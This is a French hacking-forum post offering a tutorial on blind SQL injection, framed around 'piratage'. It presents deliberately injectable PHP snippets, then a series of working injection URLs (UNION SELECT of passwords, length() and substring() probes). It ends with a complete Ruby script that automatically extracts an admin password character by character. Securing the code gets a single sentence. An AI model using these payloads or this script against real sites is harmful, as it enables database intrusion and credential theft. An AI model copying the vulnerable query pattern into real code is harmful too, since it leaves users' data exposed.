Hacker-Organisation

Bienvenue sur Hacker Organisation ! Ici, tu trouvera des Logiciel de hack, ainsi que des tutos, des pages de hack ! Et plein d'autre encore..

Derniers sujets

Décembre 2016

LunMarMerJeuVenSamDim
   1234
567891011
12131415161718
19202122232425
262728293031 

Calendrier Calendrier

Partenaires


créer un forum

      


    Blind SQL Injection

    Partagez

    XxPrO-K1Ll3uR
    Admin

    Messages : 66
    Reputation de Hack : 201
    Date d'inscription : 19/05/2012

    Blind SQL Injection

    Message  XxPrO-K1Ll3uR le Sam 19 Mai - 14:20

    Bonjour à tous

    Voilà donc un petit tutoriel sur les Blind SQL Injection. Nous allons nous attarder sur leur fonctionnement, leur exploitation dans le cadre d’un piratage, puis, pour finir, leur sécurisation.

    Qu’est ce qu’une Blind SQL injection ?

    En français, un injection d’SQL à l’aveugle, est une injection habituelle sur laquelle nous n’avons pas de retour d’affichage.
    Pour prendre un exemple simple et compréhensible pour tous, nous allons voir deux codes faillibles.
    Le premier présente une vulnérabilité SQLi habituelle :
    Code PHP :
    <?php
    $query = mysql_query('SELECT pseudo FROM membres WHERE id="'.$_GET['id'].'" ');
    echo 'Bonjour '.mysql_result($query,0);
    ?>

    Pour exploiter ce genre de vulnérabilité, on va pouvoir injecter facilement de cette manière ;
    Code :
    http://localhost/pentest/blind/sql_normal.php?id=-1%22%20UNION%20SELECT%20password%20FROM%20membres--%20-

    La requète devient «SELECT pseudo FROM membres WHERE id="-1" UNION SELECT password FROM membres».

    Et le script va logiquement nous renvoyé le fameux password.


    Mais maintenant, imaginons un autre script qui ne renvoit pas de résultats directement :
    Code PHP :
    <?php
    $query = mysql_query('SELECT pseudo FROM membres WHERE id="'.$_GET['id'].'" ');
    if(mysql_num_rows($query)) echo 'Bonjour cher membre';
    ?>

    Vous aurez beau faire des injections vous n’aurez pas le mot de passe tout cuit d’affiché.
    C’est dans ce genre de cas que nous somme face à une Blind SQL injection.

    Let’s the game begin.

    Exploitation des Blind SQLi

    Diantre, sans affichage pas de résultat, sur quoi pouvons nous donc jouer pour obtenir réponse de notre vil méfait ?
    Eh bien, nous allons jouer sur le vrai/faux. Sur la validité de notre requète, qui est la seule réponse du serveur SQL dans ce cas.
    Via le script précédent, imaginons d’injecter une condition totalement fausse ;
    Code :
    http://localhost/pentest/blind/sql_normal.php?id=1%22%20AND%202=1--%20-
    Aucun affichage, car 1 =/= 2. Mais si on remet 1=1, l’affichage se fait. On a eu un dialogue tout à fait constructif avec le serveur, il nous a répondu. Nous allons donc jouer la dessus.

    Bon, à pars vérifier des calculs, ces conditions, grâce à des fonctions du serveur sql, vont nous permettre de l’interroger sur des fait spécifiques par tests successifs, comme par exemple la longueur du mot de passe de l’admin, ainsi que les caractères qui le compose.
    Je vais montrer le scénario classique d’une exploitation, mais bien évidemment vous pouvez imaginer bien d’autres schémas une fois la compréhension globale aquise.

    Determiner les champs

    Pour déterminer les champs accessibles, nous allons utiliser le fameux GROUP BY (ou ORDER BY) suivit du champs à vérifier.
    Si l’on injecte :
    Code :
    http://localhost/pentest/blind/sql_normal.php?id=1%22%20ORDER%20BY%20pass--%20-
    Erreur : le champs pass n’existe pas.

    Code :
    http://localhost/pentest/blind/sql_normal.php?id=22%22%20ORDER%20BY%20password--%20-
    Affichage : le champs password existe !


    Longueur du mot de passe

    Donc la seconde étape évidente, la longueur du mot de passe. Pour ce faire, nous allons utiliser la fonction length(), du serveur sql (dispo dans les principaux serveur sql ; mysql, pgsql...), et nous allons encore une fois tester successivement.
    Sachez que nous réalisons ce test à la main, mais que dans tout la plupart des cas, on utilise un code qui nous fais tout le travail.
    Comme nous sommes à la main, nous somme préssés, nous n’allons pas tester tout, seulement les longueurs les plus habituelles. 32 pour le md5, 40 pour le sha1, et 41 pour le hash mysql.


    Et bingo,
    Code :
    http://localhost/pentest/blind/sql_normal.php?id=22%22%20AND%20length%28password%29=40--%20-
    Le password fait donc 40 caractères.

    Composition du mot de passe


    Pour déterminer les caractères du mot de passe, une méthode consiste à tester un à un chacun. C’est la plus répandue. On en verra d’autres dans les tutos suivants, un peu plus avancés.

    Donc pour se faire, nous allons utiliser la fonction substring, qui permet d’extraire une chaine de caractère d’une autre, et qui prend en compte 3 paramètres ; premièrement le champs à traiter, puis le rang du premier caractère de la chaine qu’on extrait, et enfin le nombre de caractères que l’on extrait. Dans notre cas, le champs sera le password, le rang s’incrementera au fur et à mesure que nous découvrirons les caractères et le nombre de caractères extraits sera à 1.
    Ce qui nous donne substring(password, 1, 1), pour tester le premier caractère.
    On va également utiliser la fonction lower(), qui remet en miniscule les majuscules, pour éviter de devoir tester aussi les majuscules.
    C’est partis.
    Sur cette partie, je ne vais vous montrer que l’extraction du premier caractère, en faire 40 serai long et fastidieux (c’est pourquoi on code un exploit dans ces cas là).
    Après plusieurs tests :
    Code :
    http://localhost/pentest/blind/sql_normal.php?id=22" AND lower(substring(password,1,1))='7'-- -

    w00t. Le premier caractère est donc un 7.
    Un fois fait pour les 40, on obtient le mot de pass au complet.


    Automatisation

    J’en ai beaucoup parlé, voilà maintenant un exemple de code Ruby qui se charge d’effectuer les fasitideuses opérations une par une.

    Code PHP :
    #!/usr/bin/ruby


    require 'open-uri'

    # Exemple simple d'un exploit type Blind SQLi


    url = "http://localhost/pentest/blind/"

    print "[*] - Retrieve admin password length..."

    nb_char = 0
    begin
    nb_char += 1
    data = open("#{url}sql_normal.php?id=22%22%20AND%20length%28password%29=#{nb_char}--%20-").read
    print nb_char


    end while not data.match(/Bonjour/)

    puts "\n[*] - length(password)= #{nb_char} "

    puts "[*] - Finding admin password..."

    passwd = ''
    for i in (1..nb_char)
    chars = 'abcdef1234567890'
    found = false

    chars.each_char do |char|
    if found == false
    data = open("#{url}sql_normal.php?id=22%22%20AND%20lower%28substring%28password,#{i},1%29%29=​'#{char}'--%20-").read

    if data.match(/Bonjour/)
    puts "[*] - Found char #{i} == #{char}"
    passwd = passwd + char
    found = true
    end
    end
    end


    end
    puts "[*] - Final password is #{passwd}"


    Securisation

    Comme pour les Injections de code SQL habituelles, utilisé des fonction type mysql_real_escape_string(), ou passer à PDO et ses requètes préparés est très grandement envisageable.


    Cordialement,

    XxPrO-K1Ll3uR

      La date/heure actuelle est Jeu 8 Déc - 9:48